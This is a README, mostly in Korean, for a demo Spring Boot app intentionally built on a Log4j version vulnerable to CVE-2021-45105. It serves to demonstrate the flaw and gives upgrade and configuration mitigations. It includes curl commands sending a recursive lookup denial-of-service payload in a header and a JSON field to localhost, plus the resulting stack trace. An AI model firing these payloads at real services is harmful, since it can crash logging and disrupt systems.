
이 애플리케이션은 CVE-2021-45105에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.
Log4j 2.16.0을 사용합니다.

다음과 같이 실행합니다:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Java 8(이후 버전) 사용자는 릴리스 2.17.0으로 업그레이드해야 합니다.
또는, 구성에서 다음과 같이 완화할 수 있습니다:
로깅 구성의 PatternLayout에서 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 Context Lookups를 Thread Context Map 패턴(%X, %mdc 또는 %MDC)으로 교체하십시오.
그렇지 않으면, 구성에서 HTTP 헤더나 사용자 입력과 같이 애플리케이션 외부 소스에서 비롯된 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 Context Lookups에 대한 참조를 제거하십시오.